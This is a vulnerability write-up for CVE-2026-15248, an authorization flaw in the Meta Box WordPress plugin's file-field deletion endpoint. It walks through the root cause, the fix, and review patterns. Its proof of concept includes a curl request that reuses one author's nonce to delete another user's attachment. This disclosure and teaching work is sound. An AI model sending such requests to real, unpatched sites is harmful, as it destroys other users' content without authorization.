Post

CVE-2026-15248: Meta Box Contributor+ Arbitrary Attachment Deletion

Meta Box versions before 5.13.1 allowed authenticated users with access to a file-field workflow to delete attachments belonging to other users because the deletion endpoint trusted request-controlled object and attachment identifiers without object-level authorization.

CVE-2026-15248: Meta Box Contributor+ Arbitrary Attachment Deletion

CVE-2026-15248: Meta Box Contributor+ Arbitrary Attachment Deletion

Overview

Meta Box versions up to and including 5.12.1 contained a missing-authorization vulnerability in its file-field deletion workflow.

At first glance, the vulnerable path looked like a protected WordPress AJAX workflow. The user had to be authenticated. The request carried a Meta Box file-field deletion nonce. The action came from a feature that normally exists to let users remove files from a rendered custom field.

The problem was what happened after those checks passed.

The AJAX handler accepted both object_id and attachment_id from the request body. Those two values selected the final object and media record to delete. A nonce obtained from the attacker’s own post proved access to one legitimate Meta Box file-field workflow, but it did not prove permission to delete an attachment referenced by another user’s post.

In the validated scenario, an Author account reused a valid file-field nonce from its own post and submitted a deletion request targeting another author’s attachment. Native WordPress rejected the same deletion attempt with rest_cannot_delete, but the Meta Box workflow returned success: true and removed the attachment record.

The issue is tracked as CVE-2026-15248 and WPVDB ID a101136d-606f-4529-ae78-a4fff7724e2c. The public advisory lists the required access as Contributor-level access or higher. My runtime validation used an Author account.

Affected Versions

  • Product: Meta Box WordPress Plugin
  • Slug: meta-box
  • Affected versions: < 5.13.1 in public advisory metadata; validated on 5.12.1
  • Fixed version: 5.13.1
  • Vulnerability type: Missing Authorization / IDOR
  • CWE: CWE-862 — Improper Authorization
  • CVSS: 5.5 (Medium)
  • Required access: Contributor+ according to the advisory; Author in the reproduced lab scenario

The Vulnerable Workflow

Meta Box supports file fields that can be attached to WordPress objects such as posts. In the test setup, a file field named documents was registered on posts. The field allowed attachments to be associated with a post, and force_delete was enabled so that deletion through the field could remove the attachment record.

The expected rule is simple: a user should only be able to delete attachments associated with objects they are allowed to manage.

That rule is especially important in WordPress because attachments are not always isolated to one visual location. The same media record may appear in a custom field, a featured image slot, a gallery, a document link, or other theme/plugin rendering paths. Deleting the record can therefore break more than the single field where the deletion was initiated.

The vulnerable path was associated with the Meta Box file-field deletion flow:

  • file.deleteHandler() in js/file.js
  • RWMB_File_Field::ajax_delete_file() in inc/fields/file.php
  • RWMB_File_Field::get_uploaded_files() in inc/fields/file.php

The security-sensitive request parameters were:

1
2
3
4
5
6
_ajax_nonce
field_id
field_name
object_type
object_id
attachment_id

Only two of them decide the destructive target: object_id and attachment_id. That is where the trust boundary broke.

How I Found It

I found this while reviewing WordPress plugin file-handling code paths, especially AJAX handlers that remove, detach, or delete media records.

File deletion endpoints are good audit targets because they often sit between several different authorization models: post ownership, attachment ownership, field metadata, Media Library permissions, and plugin-specific UI state. A bug does not need to bypass all of WordPress. It only needs one custom workflow that forgets to re-check the final object it is about to modify.

The interesting clue in this case was that the endpoint was not obviously unauthenticated or completely unprotected. It had a nonce. That made the bug more realistic.

The question was not:

1
Does this endpoint have a nonce?

The useful question was:

1
What does the nonce actually prove, and what does it not prove?

A nonce from my own file field proves that I can participate in my own file-field workflow. It does not prove that I can supply someone else’s object_id, pair it with someone else’s attachment_id, and ask the server to delete that media record.

To validate the hypothesis, I built a two-user test. One Author account controlled the nonce source object. Another Author account controlled the target post and attachment. Before using the Meta Box endpoint, I tried the same deletion through native WordPress media deletion as the attacker. WordPress rejected it with HTTP 403 and rest_cannot_delete.

That negative control mattered. It showed that the attacker did not already have normal WordPress permission to delete the target attachment. The successful deletion happened through the plugin workflow.

Where the Trust Boundary Broke

The broken invariant was:

1
2
current user + target object + target attachment + delete operation
        must be authorized before deletion

The vulnerable workflow validated request context, but the final deletion target still came from request-controlled identifiers.

A safer flow would look like this:

1
2
3
4
5
validate nonce
    -> resolve object_id and attachment_id
        -> check current user can manage that object
            -> check current user can delete that attachment
                -> delete only if authorized

The vulnerable flow effectively behaved like this:

1
2
3
validate nonce
    -> trust submitted object_id and attachment_id
        -> delete selected attachment

That distinction is the core of the bug. The nonce protected the request from being a random cross-site request, but it did not bind the current user to the selected object and attachment.

Execution Flow

The attack path was short:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Author A opens Post A
        |
        | obtains Meta Box delete nonce from own file field
        v
Author A sends rwmb_delete_file AJAX request
        |
        | object_id=<Post B owned by Author B>
        | attachment_id=<Attachment B owned/used by Author B>
        v
RWMB_File_Field::ajax_delete_file()
        |
        | nonce accepted
        | missing object/attachment authorization
        v
Attachment B deleted

The important mismatch was:

1
2
3
4
Nonce source:     Author A's own Post A file field
Deletion target: Author B's Post B attachment
Expected result: reject
Observed result: success

Proof of Concept

The issue is public and fixed. This PoC describes the local validation flow used to prove the authorization boundary.

  1. Install and activate Meta Box 5.12.1.
  2. Create two Author accounts: author_a and author_b.
  3. Register a Meta Box file field with ID documents on posts.
  4. Enable force_delete for that field.
  5. Create Post A owned by author_a.
  6. Create Post B owned by author_b.
  7. Upload Attachment B to Post B through the documents field.
  8. Set Attachment B as the featured image of Post B.

As author_a, open the edit screen for Post A and copy the data-delete_nonce value from the rendered Meta Box file field.

Before testing the plugin endpoint, attempt to delete Attachment B through native WordPress media deletion as author_a. WordPress rejected the operation:

1
2
3
4
5
6
7
{
  "code": "rest_cannot_delete",
  "message": "Sorry, you are not allowed to delete this post.",
  "data": {
    "status": 403
  }
}

From the same author_a session, send the Meta Box deletion request while keeping the nonce from Post A but replacing the target identifiers with Post B and Attachment B:

1
2
3
4
5
6
7
8
9
10
curl -i -s \
  -b "<AUTHOR_A_COOKIE>" \
  -d "action=rwmb_delete_file" \
  -d "_ajax_nonce=<AUTHOR_A_NONCE_FROM_POST_A>" \
  -d "field_id=documents" \
  -d "field_name=documents" \
  -d "object_type=post" \
  -d "object_id=<POST_B_ID>" \
  -d "attachment_id=<ATTACHMENT_B_ID>" \
  "http://example.local/wp-admin/admin-ajax.php"

The vulnerable workflow returned success:

1
2
3
{
  "success": true
}

After the request, Attachment B no longer existed as an attachment record. Post B no longer displayed the featured image, the documents field became empty, and the attachment disappeared from the Media Library. Any gallery or document-rendering workflow that reused the same attachment also lost that item or link.

Why the Existing Checks Failed

The endpoint failed because its checks answered the wrong questions.

Authentication answered:

1
Who is making this request?

It did not answer:

1
Can this user delete this attachment?

The nonce answered:

1
Did this request come from a user who could access a rendered Meta Box file-field workflow?

It did not answer:

1
Is this nonce valid for the object_id and attachment_id now being submitted?

The use of valid object identifiers also did not help. A real post ID and a real attachment ID only prove that the objects exist. They do not prove that the current user may operate on them.

That is the reusable lesson from this bug:

1
2
3
valid session + valid nonce + valid object ID
        does not equal
object-level authorization

The native WordPress denial made the issue especially clear. WordPress itself said the attacker could not delete the victim attachment. The Meta Box workflow then allowed the same destructive operation because the plugin-specific path did not enforce the same object-level boundary.

Impact

The demonstrated impact was unauthorized deletion of media records referenced by another user’s content.

In the tested scenario, this affected:

  • the victim post’s featured image;
  • the Meta Box documents field;
  • Media Library visibility;
  • gallery or document workflows that referenced the same attachment.

This is a content-integrity impact. The evidence supports unauthorized attachment deletion and downstream content breakage. It does not establish account takeover, administrator privilege escalation, code execution, or access to secrets.

Remediation and Patch Notes

Update Meta Box to 5.13.1 or later.

The fixed release added authorization hardening for the affected ajax_delete_file workflow. The essential patch idea is not just “add a check”; it is to place the check at the right point in the flow.

The server must authorize the current user after resolving the submitted object_id and attachment_id, but before deleting the attachment. A complete fix should also ensure that the attachment is actually associated with the expected object and field context.

For plugin developers, the safer design is:

1
2
3
4
5
nonce validation
    + can current user edit this object?
    + can current user delete this attachment?
    + does this attachment belong to this field/object context?
        -> delete only if all checks pass

Recognizing This Pattern in Other Plugins

This bug is not specific to Meta Box. The same shape appears anywhere a plugin lets a request-controlled ID select the target of a sensitive operation.

The smell looks like this:

1
2
3
$_POST['object_id'];
$_POST['attachment_id'];
$_POST['post_id'];

flowing into:

1
2
3
4
wp_delete_attachment();
wp_delete_post();
unlink();
$wpdb->delete();

without a nearby authorization decision over the resolved target.

The review question is:

1
After the final object is selected, where does the server prove that this user may perform this operation on that object?

If the answer is only “there is a nonce,” the review is not finished.

Research Credit

  • Researcher: Duy Tran
  • Disclosure: Responsible disclosure through the WordPress vulnerability ecosystem
  • Coordinator / advisory source: WPScan / WPVDB

References

Responsible Disclosure Notice

This vulnerability has been publicly disclosed and fixed. The proof of concept is included for reproducibility, defensive validation, and security education.

Testing should be limited to systems you own or are explicitly authorized to assess. Administrators running affected versions should update to Meta Box 5.13.1 or later.

This post is licensed under CC BY 4.0 by the author.
Support my research